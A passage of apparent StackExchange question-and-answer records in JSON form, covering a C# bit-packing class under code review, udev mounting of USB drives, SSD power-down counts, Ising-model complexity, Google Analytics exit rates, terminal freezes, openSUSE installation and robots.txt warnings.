"beginner;strings;ruby;unit testing" } { "id": "_unix.285624" , "question": "Suppose I run sudo mount -a after setting /etc/fstab to: /dev/usbhd1 /path/to/mount/point ntfs rw,auto,nofail 0 1 Yesterday, upon asking what steps our architect and I should do next after a SanDisk USB disconnect on an Ubuntu Linux 16.04 operating system installed from a Live CD on a Lenovo Thinkstation quad-core desktop, I was instructed by Serge, meuh and Julie Pelletier to implement the following steps: If you are going to connect and disconnect your HD regularly,then set up udev rule to mount it upon insertion at expected location. you could omit fstab entry in this caseHow do I set up a udev rule to automatically mount and unmount the SanDisk Cruzer USB upon insertion and removal of the same USB in order to eliminate an fstab entry? I would like this udev rule to apply to reboots also.How do I make udev and fstab rules to differentiate between 2 identical SanDisk Cruzer 8 Gigabyte USB drives I purchased from BestBuy?Any help is greatly appreciated. " , "title": "How do I set up a udev rule to mount the SanDisk Cruzer USB upon insertion in order to eliminate an fstab entry?" , "tags": "ubuntu;mount;udev;fstab;unmounting" } { "id": "_codereview.134028" , "question": "Part 2 here.I wrote this class for packing data.Would it benefit from being named BitPacker rather than BitStream (and change write/read to pack/unpack), or it works as is?How can I improve it? Any way to make it more efficient? How can I reduce the amount of code? I have a lot of copy/pasted code with minor things changed that I'm not sure how (if?) I can condense.And, of course, any other comments.using System;using System.Collections;using System.Collections.Generic;/// <summary>/// Used to store data as bits. Acts as a queue - first data added is the first data removed./// Data should be read in the same order it is written. If read in a different order, it gives undefined results./// Reading from an empty BitStream returns 0./// </summary>public class BitStream{ ulong scratch_write; int scratch_write_bits; ulong scratch_read; int scratch_read_bits; Queue<ulong> buffer; /// <summary> /// How many bits are currently in the BitStream /// </summary> public long StoredBits { get; private set; } #region Constructors /// <summary> /// Make a new BitStream /// </summary> public BitStream() { scratch_write = 0; scratch_write_bits = 0; scratch_read = 0; scratch_read_bits = 0; buffer = new Queue<ulong>(); } /// <summary> /// Make a new BitStream /// </summary> /// <param name=bitCount>How many bits you expect this stream will hold. A closer value nets increased performance.</param> public BitStream( long bitCount ) { scratch_write = 0; scratch_write_bits = 0; scratch_read = 0; scratch_read_bits = 0; buffer = new Queue<ulong>( (int) IntDivideRoundUp( bitCount, 64 ) ); } /// <summary> /// Make a new BitStream containing bits from the byte array /// NOTE: StoredBits may return a higher count than there are actual bits to read if the byte array came from another BitStream. /// </summary> /// <param name=bits>contains bits to be stored in the bitstream</param> public BitStream( byte[] bits ) { scratch_write = 0; scratch_write_bits = 0; scratch_read = 0; scratch_read_bits = 0; buffer = new Queue<ulong>(); foreach ( var bite in bits ) { Write( bite, byte.MinValue, byte.MaxValue ); } } #endregion /// <summary> /// Get the bits stored in a ulong array (left-endian) /// </summary> /// <returns>ulong array of bits</returns> public ulong[] GetUlongArray() { ResetBuffer(); if ( scratch_write_bits > 0 ) { ulong[] result = new ulong[ buffer.Count + 1 ]; Array.Copy( buffer.ToArray(), result, buffer.Count ); result[ buffer.Count ] = scratch_write; return result; } return buffer.ToArray(); } /// <summary> /// Get the bits stored in a byte array (left-endian) /// </summary> /// <returns>byte array of bits</returns> public byte[] GetByteArray() { ResetBuffer(); int extraBytes = (int) IntDivideRoundUp( scratch_write_bits, 8 ); byte[] result = new byte[ buffer.Count * 8 + extraBytes ]; Buffer.BlockCopy( buffer.ToArray(), 0, result, 0, result.Length - extraBytes ); int index = buffer.Count * 8; int bits = scratch_write_bits; ulong scratch = scratch_write; while ( bits > 0 ) { int bitsToStore = bits >= 8 ? 8 : bits; result[ index ] = (byte) ( scratch >> ( 64 - bitsToStore ) ); scratch <<= bitsToStore; bits -= bitsToStore; index++; } return result; } /// <summary> /// Get the bits stored in a BitArray /// </summary> /// <returns>all bits in the stream in a BitArray</returns> public BitArray GetBitArray() { ResetBuffer(); BitArray ba = new BitArray( buffer.Count * 64 + scratch_write_bits ); var tempBuf = buffer.ToArray(); int counter = 0; for ( int i = 0; i < ba.Count; i++ ) { for ( int j = 0; j < 64; j++ ) { ba[ counter ] = ( tempBuf[ i ] & ( (ulong) 1 << ( 63 - j ) ) ) > 0; counter++; } } for ( int i = 0; i < scratch_write_bits; i++ ) { ba[ counter ] = ( scratch_write & ( (ulong) 1 << ( 63 - i ) ) ) > 0; counter++; } return ba; } #region Write /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=bits>how many bits</param> protected void Write( ulong data, int bits ) { if ( bits == 0 ) return; scratch_write |= ( ( data << ( 64 - bits ) ) >> scratch_write_bits ); scratch_write_bits += bits; if ( scratch_write_bits >= 64 ) { buffer.Enqueue( scratch_write ); scratch_write = 0; scratch_write_bits -= 64; if ( scratch_write_bits > 0 ) scratch_write |= ( data << ( 64 - scratch_write_bits ) ); } StoredBits += bits; } /// <summary> /// Write 1 bit to the stream /// </summary> /// <param name=data>bit to be written</param> public void Write( bool data ) { Write( BitConverter.GetBytes( data )[ 0 ], 1 ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( byte data, byte min, byte max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); Write( data, BitsRequired( max ) ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( sbyte data, sbyte min, sbyte max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); if ( data == sbyte.MinValue ) { Write( (ulong) data, 64 ); return; } long data2 = data; int bits = BitsRequired( min, max ); if ( data2 < 0 ) { data2 = ~data2 | ( 1L << ( bits - 1 ) ); } Write( (ulong) data2, bits ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( char data, char min, char max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); int bits = BitsRequired( min, max ); Write( (ulong) data, bits ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( short data, short min, short max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); if ( data == short.MinValue ) { Write( (ulong) data, 64 ); return; } long data2 = data; int bits = BitsRequired( min, max ); if ( data2 < 0 ) { data2 = ~data2 | ( 1L << ( bits - 1 ) ); } Write( (ulong) data2, bits ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( ushort data, ushort min, ushort max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); Write( data, BitsRequired( max ) ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( int data, int min, int max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); if ( data == int.MinValue ) { Write( (ulong) data, 64 ); return; } long data2 = data; int bits = BitsRequired( min, max ); if ( data2 < 0 ) { data2 = ~data2 | ( 1L << ( bits - 1 ) ); } Write( (ulong) data2, bits ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( uint data, uint min, uint max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); Write( data, BitsRequired( max ) ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( long data, long min, long max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); if ( data == long.MinValue ) { Write( (ulong) data, 64 ); return; } int bits = BitsRequired( min, max ); if ( data < 0 ) { data = ~data | ( 1L << ( bits - 1 ) ); } Write( (ulong) data, bits ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> public void Write( ulong data, ulong min, ulong max ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); Write( data, BitsRequired( max ) ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> /// <param name=precision>how many digits after the decimal</param> public void Write( float data, float min, float max, byte precision ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); int mult = IntPow( 10, precision ); double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero ); double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero ); if ( infoMax > uint.MaxValue || -infoMax > uint.MaxValue || infoMin > uint.MaxValue || -infoMin > uint.MaxValue ) { Write( (ulong) BitConverter.DoubleToInt64Bits( data ), 32 ); return; } int info = (int) Math.Round( data * mult, MidpointRounding.AwayFromZero ); Write( info, (int) infoMin, (int) infoMax ); } /// <summary> /// Write bits to the stream /// </summary> /// <param name=data>bits to be written</param> /// <param name=min>the minimum number that can be written</param> /// <param name=max>the maximum number that can be written</param> /// <param name=precision>how many digits after the decimal</param> public void Write( double data, double min, double max, byte precision ) { if ( min > max ) swap( min, max ); if ( data < min || data > max ) throw new ArgumentOutOfRangeException( data, data, must be between min and max ); int mult = IntPow( 10, precision ); double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero ); double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero ); if ( infoMax > ulong.MaxValue || -infoMax > ulong.MaxValue || infoMin > ulong.MaxValue || -infoMin > ulong.MaxValue ) { Write( (ulong) BitConverter.DoubleToInt64Bits( data ), 64 ); return; } long info = (long) Math.Round( data * mult, MidpointRounding.AwayFromZero ); Write( info, (long) infoMin, (long) infoMax ); } #endregion #region Read /// <summary> /// Read bits from the stream /// </summary> /// <param name=bits>How many bits to read</param> /// <returns>bits read in ulong form</returns> protected ulong Read( int bits ) { StoredBits -= bits; if ( buffer.Count == 0 ) { scratch_read = scratch_write; scratch_read_bits = scratch_write_bits; } if ( bits == 0 || ( buffer.Count == 0 && scratch_write_bits == 0 ) ) return 0; ulong data = scratch_read >> ( 64 - bits ); if ( scratch_read_bits < bits ) { bits -= scratch_read_bits; if ( buffer.Count == 0 ) { scratch_read = scratch_write; scratch_read_bits = scratch_write_bits; data |= ( scratch_read >> ( 64 - bits ) ); scratch_read <<= bits; scratch_read_bits -= bits; scratch_write = scratch_read; scratch_write_bits = scratch_read_bits; } else { scratch_read = buffer.Dequeue(); scratch_read_bits = 64; data |= ( scratch_read >> ( 64 - bits ) ); scratch_read <<= bits; scratch_read_bits -= bits; } } else { scratch_read <<= bits; scratch_read_bits -= bits; if ( buffer.Count == 0 ) { scratch_write = scratch_read; scratch_write_bits = scratch_read_bits; } } if ( StoredBits <= 0 ) // handle the case of asking for more bits than exist in the stream { StoredBits = 0; scratch_write = 0; scratch_write_bits = 0; scratch_read = 0; scratch_read_bits = 0; } return data; } /// <summary> /// Read a bit from the stream and write it to data /// </summary> /// <param name=data>the variable to be written to</param> public void Read( out bool data ) { data = Read( 1 ) > 0; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out ulong data, ulong min, ulong max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( max ); data = Read( bits ); } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out uint data, uint min, uint max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( max ); data = (uint) Read( bits ); } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out ushort data, ushort min, ushort max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( max ); data = (ushort) Read( bits ); } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out byte data, byte min, byte max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( max ); data = (byte) Read( bits ); } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out char data, char min, char max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( max ); data = (char) Read( bits ); } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out long data, long min, long max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( min, max ); ulong readBits = Read( bits ); if ( (long) readBits == long.MinValue ) { data = (long) readBits; return; } if ( min < 0 || max < 0 ) { ulong negative = readBits >> ( bits - 1 ); if ( negative > 0 ) { readBits ^= ( negative << ( bits - 1 ) ); readBits = ~readBits; readBits |= ( negative << 63 ); } } data = (long) readBits; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out int data, int min, int max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( min, max ); uint readBits = (uint) Read( bits ); if ( (int) readBits == int.MinValue ) { data = (int) readBits; return; } if ( min < 0 || max < 0 ) { uint negative = readBits >> ( bits - 1 ); if ( negative > 0 ) { readBits ^= ( negative << ( bits - 1 ) ); readBits = ~readBits; readBits |= ( negative << 31 ); } } data = (int) readBits; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out short data, short min, short max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( min, max ); ushort readBits = (ushort) Read( bits ); if ( (short) readBits == short.MinValue ) { data = (short) readBits; return; } if ( min < 0 || max < 0 ) { uint negative = (uint) readBits >> ( bits - 1 ); if ( negative > 0 ) { readBits ^= (ushort) ( negative << ( bits - 1 ) ); readBits = (ushort) ~readBits; readBits |= (ushort) ( negative << 63 ); } } data = (short) readBits; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> public void Read( out sbyte data, sbyte min, sbyte max ) { if ( min > max ) swap( min, max ); int bits = BitsRequired( min, max ); byte readBits = (byte) Read( bits ); if ( (sbyte) readBits == sbyte.MinValue ) { data = (sbyte) readBits; return; } if ( min < 0 || max < 0 ) { uint negative = (uint) readBits >> ( bits - 1 ); if ( negative > 0 ) { readBits ^= (byte) ( negative << ( bits - 1 ) ); readBits = (byte) ~readBits; readBits |= (byte) ( negative << 63 ); } } data = (sbyte) readBits; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> /// <param name=precision>how many digits after the decimal</param> public void Read( out double data, double min, double max, byte precision ) { if ( min > max ) swap( min, max ); int mult = IntPow( 10, precision ); double infoMax = Math.Round( max * mult, MidpointRounding.AwayFromZero ); double infoMin = Math.Round( min * mult, MidpointRounding.AwayFromZero ); if ( infoMax > ulong.MaxValue || -infoMax > ulong.MaxValue || infoMin > ulong.MaxValue || -infoMin > ulong.MaxValue ) { data = BitConverter.Int64BitsToDouble( (long) Read( 64 ) ); return; } long readBits; Read( out readBits, (long) infoMax, (long) infoMin ); data = readBits / (double) mult; } /// <summary> /// Read bits from the stream and write that information to data. /// WARNING: If you read data in a different order than written, there is a possibility that the actual number written to data is outside of the given range. In such a case, you may want to check the bounds yourself. /// </summary> /// <param name=data>the variable to be written to</param> /// <param name=min>the smallest possible number that could have been written</param> /// <param name=max>the largest possible number that could have been written</param> /// <param name=precision>how many digits after the decimal</param> public void Read( out float data, float min, float max, byte precision ) { if ( min > max ) swap( min, max ); int mult = IntPow( 10, precision ); float infoMax = (float) Math.Round( max * mult, MidpointRounding.AwayFromZero ); float infoMin = (float) Math.Round( min * mult, MidpointRounding.AwayFromZero ); if ( infoMax > uint.MaxValue || -infoMax > uint.MaxValue || infoMin > uint.MaxValue || -infoMin > uint.MaxValue ) { data = (float) BitConverter.Int64BitsToDouble( (int) Read( 32 ) ); return; } int readBits; Read( out readBits, (int) infoMax, (int) infoMin ); data = readBits / (float) mult; } #endregion #region Helpers /// <summary> /// /// </summary> /// <param name=max>the maximum number that will be written</param> /// <returns>how many bits are needed</returns> protected int BitsRequired( ulong max ) { if ( max == 0 ) return 1; for ( int i = 1; i < 64; i++ ) { if ( max < ( (ulong) 1 << i ) ) return i; } return 64; } /// <summary> /// /// </summary> /// <param name=min>the minimum number that will be written</param> /// <param name=max>the maximum number that will be written</param> /// <returns>how many bits are needed</returns> protected int BitsRequired( sbyte min, sbyte max ) { if ( min > max ) swap( min, max ); if ( min == sbyte.MinValue ) return 8; int signBit = 0; if ( min < 0 ) { min = (sbyte) ~min; signBit = 1; } if ( max < 0 ) { max = (sbyte) ~max; signBit = 1; } return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit; } /// <summary> /// /// </summary> /// <param name=min>the minimum number that will be written</param> /// <param name=max>the maximum number that will be written</param> /// <returns>how many bits are needed</returns> protected int BitsRequired( short min, short max ) { if ( min > max ) swap( min, max ); if ( min == short.MinValue ) return 16; int signBit = 0; if ( min < 0 ) { min = (short) ~min; signBit = 1; } if ( max < 0 ) { max = (short) ~max; signBit = 1; } return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit; } /// <summary> /// /// </summary> /// <param name=min>the minimum number that will be written</param> /// <param name=max>the maximum number that will be written</param> /// <returns>how many bits are needed</returns> protected int BitsRequired( int min, int max ) { if ( min > max ) swap( min, max ); if ( min == int.MinValue ) return 32; int signBit = 0; if ( min < 0 ) { min = ~min; signBit = 1; } if ( max < 0 ) { max = ~max; signBit = 1; } return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit; } /// <summary> /// /// </summary> /// <param name=min>the minimum number that will be written</param> /// <param name=max>the maximum number that will be written</param> /// <returns>how many bits are needed</returns> protected int BitsRequired( long min, long max ) { if ( min > max ) swap( min, max ); if ( min == long.MinValue ) return 64; int signBit = 0; if ( min < 0 ) { min = ~min; signBit = 1; } if ( max < 0 ) { max = ~max; signBit = 1; } return BitsRequired( ( max > min ) ? (ulong) max : (ulong) min ) + signBit; } /// <summary> /// If scratch_read contains any bits, moves them to the head of the buffer. /// NOTE: Not a short operation, use only when necessary! /// </summary> protected void ResetBuffer() { if ( scratch_read_bits > 0 && scratch_read != scratch_write ) { if ( scratch_write_bits > 0 ) buffer.Enqueue( scratch_write ); var oldBuf = buffer.ToArray(); buffer.Clear(); int tempBits = scratch_write_bits; scratch_write = 0; scratch_write_bits = 0; Write( scratch_read, scratch_read_bits ); scratch_read = 0; scratch_read_bits = 0; for ( int i = 0; i < oldBuf.Length - 1; i++ ) Write( oldBuf[ i ], 64 ); Write( oldBuf[ oldBuf.Length - 1 ], tempBits ); } } void swap<T>( T obj1, T obj2 ) { T temp = obj1; obj1 = obj2; obj2 = temp; } long IntDivideRoundUp( long upper, long lower ) { return ( upper + lower - 1 ) / lower; } int IntPow( int x, uint pow ) { int ret = 1; while ( pow != 0 ) { if ( ( pow & 1 ) == 1 ) ret *= x; x *= x; pow >>= 1; } return ret; } #endregion}It works by determining how many bits are actually required to store a number based on the min and max (e.g. 63 needs 6 bits, 64 needs 7 bits).Example use (as requested):BitStream bs = new BitStream();int min1 = -1000, max1 = 1000, num1 = 287;float min2 = 0f, max2 = 50f, num2 = 16.78634f;double min3 = double.MinValue, max3 = double.MaxValue, num3 = 9845216.1916526;byte fltPrec = 2;byte dblPrec = 0;bs.Write( num1, min1, max1 ); // 12 bits (11 bits for 1000 plus 1 bit for negative sign)bs.Write( num2, min2, max2, fltPrec ); // converts to 1679 int, 14 bits (maximum converted to int is 5000)bs.Write( num3, min3, max3, dblPrec ); // precision is ignored here as min/max are too high to try to convert to an integer, so the value is stored using all 64 bits of the doublebs.Write( true ); // 1 bitint num4;float num5;double num6;bool checker;bs.Read( out num4, min1, max1 ); // num4 = 287bs.Read( out num5, min2, max2, fltPrec ); // num5 = 16.79, there is some loss of precision herebs.Read( out num6, min3, max3, dblPrec ); // num6 = 9845216.1916526, no loss of precisionbs.Read( out checker ); // checker = trueint newNum;bs.Read( out newNum, -100, 100 ); // newNum = 0 as there are no bits left in the BitStream" , "title": "Packing and unpacking bits" , "tags": "c#;bitwise;serialization;stream" , "accepted_answer": "BugThe swap<T>() method isn't doing what you think it does, because the passed in T obj1, T obj2 aren't passed with the ref keyword the values ar only changed in that method not targeting the variable values of the calling method. So thisint min = 10;int max = 5;swap(min, max);Console.WriteLine(String.Format({0} : {1}, min, max);will output 10 : 5 But using the ref keyword wouldn't be that good either. using regions is considered to be a antipattern, not only because of the reasons statet in the answer of the link, but also because having 4 regions indicates that your class is doing too much. based on the .NET naming guidelines variables should be named using camelCase instead of snake_case casing. you should always use braces {} although they might be optional. Using them will make your code less error prone. The least you should do is that you stick to a choosen style. Right now you are mixing the styles, sometimes using braces and sometimes you don't , e.g if ( data2 < 0 ){ data2 = ~data2 | ( 1L << ( bits - 1 ) );}by using constructor chaining, you can remove some of the duplicated code like so public BitStream(){ scratch_write = 0; scratch_write_bits = 0; scratch_read = 0; scratch_read_bits = 0; buffer = new Queue<ulong>();}public BitStream(long bitCount) : this(){ buffer = new Queue<ulong>((int)IntDivideRoundUp(bitCount, 64));}public BitStream(byte[] bits) : this(){ foreach (var bite in bits) { Write(bite, byte.MinValue, byte.MaxValue); }} or you can just initialize some of the values like so ulong scratch_write = 0;int scratch_write_bits = 0;ulong scratch_read = 0;int scratch_read_bits = 0;Queue<ulong> buffer = new Queue<ulong>();public BitStream(){ }public BitStream(long bitCount){ buffer = new Queue<ulong>((int)IntDivideRoundUp(bitCount, 64));}public BitStream(byte[] bits){ foreach (var bite in bits) { Write(bite, byte.MinValue, byte.MaxValue); }}the spaces after opening ( and before the closing ) are looking strange in my eyes. A C# developer wouldn't expect them. protected int BitsRequired( long min, long max )" } { "id": "_unix.174181" , "question": "I recently got a Samsung SSD. I have debian wheezy installed on it. I carry it around in a USB enclosure and boot both my work and home computers from it. How can I ensure that the system properly powers down the drive during shutdown? The following SMART metrics seem to indicate that it doesn't:ID# ATTRIBUTE_NAME FLAG VALUE WORST THRESH TYPE UPDATED WHEN_FAILED RAW_VALUE 12 Power_Cycle_Count 0x0032 099 099 000 Old_age Always - 24235 Unknown_Attribute 0x0012 099 099 000 Old_age Always - 23I believe the numbers indicate the drive has been powered up 24 times and has lost power unexpectedly 23 times, i.e. every power down. The metrics are described on Samsung's website as follows:ID # 12 Power-On CountThe raw value of this attribute reports the cumulative number of power on/off cycles. This includes both sudden power off and normal power off cases.ID # 235 Power Recovery CountA count of the number of sudden power off cases. If there is a sudden power off, the firmware must recover all of the mapping and user data during the next power on. This is a count of the number of times this has happened.I read that unexpected power loss is bad for an SSD.Edit: Now I'm not sure this is a real question. I tried attaching the drive to a different system, putting it to sleep with hdparm -Y /dev/sdX, and then disconnecting the USB cable. It still increments the power recovery count. I tried this with three different enclosures. I think I'll take this issue to Samsung." , "title": "Properly power down SSD during shutdown" , "tags": "debian;usb;shutdown;smart" } { "id": "_cstheory.27417" , "question": "In 1982, Barahona proved that finding the ground state of an Ising model is NP-hard. Later, in 2000, Istrail proved that it is NP-complete. When I look up the citations of these two papers using Google scholar, it appears that the previous and weaker result has 647 citations while on the other hand the more recent and stronger result has 109 citations.Shouldn't it be the other way round? Isn't a stronger result more useful?" , "title": "Which complexity information of Ising model is more important?" , "tags": "np hardness;np complete;combinatorics;statistical physics;citations" } { "id": "_webmaster.108302" , "question": "I have a single-page application, and I am tracking events on the page, in Google Analytics, passing our internal user ID and timestamp as attributes on the event. I would like to know the best way to find the top bounce (UPDATE: exit is a better term for this) events - i.e. events that are more than averagely likely to be the last event that a user fires. I think I can do this by extracting the raw event data from the GA API, and simply running my own analyses on it, using the timestamps. Is this correct? (UPDATE: It seems not, because GA doesn't allow the export of raw event data.) Is there any way to do this within the GA interface? I think I'm right in saying that the Event Flow won't show me the overall exit rates for a particular event. I'm looking to create information like this:create new document: last event 10% of the time it was firededit document: last event 5% of the time it was firedturn on track changes: last event 80% of the time it was firedSo that I can spot which events look problematic, like the last one in this example. " , "title": "Google Analytics - find exit rate for events, rather than pages?" , "tags": "google analytics" } { "id": "_unix.152953" , "question": "On Linux within bash the Pseudo Terminal window (terminator) as well as the Terminal itself freezes when trying to use autocomplete (TAB) as well as after getting an error message using gzip and tar.So far this only happens with gzip and tar…after getting an error message (own fault, typos, etc.)using autocompleteCTRL+C somehow solves the problem in so far as I can work on and have (up to now) no problems with other commands EXCEPT tar. Thus, the problem is repeatable. I would very much appreciate help from here on.I can isolate the problem further, as it had a comback: As hinted in a comment, un commenting the following section in ~/home/USER/.bashrc # if ! shopt -oq posix; then# if [ -f /usr/share/bash-completion/bash_completion ]; then# . /usr/share/bash-completion/bash_completion# elif [ -f /etc/bash_completion ]; then# . /etc/bash_completion# fi# fihelped in so far as trying to use autocompletestill sends the Terminal Emulation (pts) into deep freeze when using TAB after the first occurrence of -- until CTRL+C ends itthe real terminal (tty) seems to ignore TAB completely with gzip and tar. I could live that and a long face, but then … really?Config FilesThe other config file (I know) for completion would be /etc/bash.bashrc which would turn completion off completely I guess. Not good. The config files for the terminal emulator doesn't have any settings for autocomplete or suchI can type some characters and then the Terminal freezes – takes no more keystrokes. This happens both in an emulated terminal window (pts) in the GUI and also real promt (tty).I work from a keyboard connected via USB, and not on a laptop or the like.What would be a proper way to kill a terminal session like: »kill tty1 from tty2« because this is exactly what I'm stuck here!" , "title": "Terminal freezes after using tar or gz" , "tags": "bash;terminal;tar;gzip" } { "id": "_unix.43695" , "question": "For some reason, my laptop (HP ProBook 5320m) refuses to boot when I install the ISO images for openSUSE 12.1 on an USB stick (the stick starts to blink and then the internal fan goes into overdrive and I have to switch off the laptop).I also tried the NET version, different USB sticks, no game. Currently, openSUSE 11.4 is installed on the laptop, is it's not impossible to install. My guess is that something was changed in the 12.1 release which the BIOS of the laptop doesn't like.So my last hope is to create a bootable external hard disk but when I look into the folder /boot of the ISO image, I can't find GRUB or anything that I recognize.Questions:Is there a way to replace the ISO boot loader with GRUB?Is there some other way to install 12.1 on openSUSE 11.4? Ubuntu can do a dist upgrade in the running system, for example. Is something like that possible with openSUSE, too?Could I boot with the installer for 11.4 and somehow make it use the installation files for 12.1?PS: Dear HP engineers. Your BIOS looks great but I'd prefer one that works. Just saying :-(" , "title": "How do I install openSUSE 12.1 from an external hard disk?" , "tags": "opensuse;system installation;usb drive;bios" , "accepted_answer": "Probably not. GRUB is a general purpose bootloader. The SYSLINUX bootloaders are different, there is one for each medium.How to upgrade OpenSuSE 11.4 to 12.1 " } { "id": "_webmaster.38099" , "question": "I'm getting a warning when submitting my sitemap to webmaster tools it saying that my pages are blocked by robots.txt when they are not. Has any one come across this or a way to resolve this before ?Here is the error message:Here is my robots.txt file:User-agent: *Disallow:Sitemap: http://mydomain.co.uk/sitemap.xml" , "title": "Google Webmaster Tools is showing incorrect warnings - blocked by robots.txt" , "tags": "google search console;robots.txt" , "accepted_answer": "Some times that warning means there is a meta noindex tag on your site not just robots.txt blocking the robots. Go to your website and view the source code in a private browser session. Are you using any CMS such as WordPress or another?Also if you've made changes to allow robots it can take hours or up to 48 hours for Google to recognize the changes and successfully crawl and access your sitemap. You can go to Health on the sidebar in Google webmaster tools and fetch as Googlebot it'll 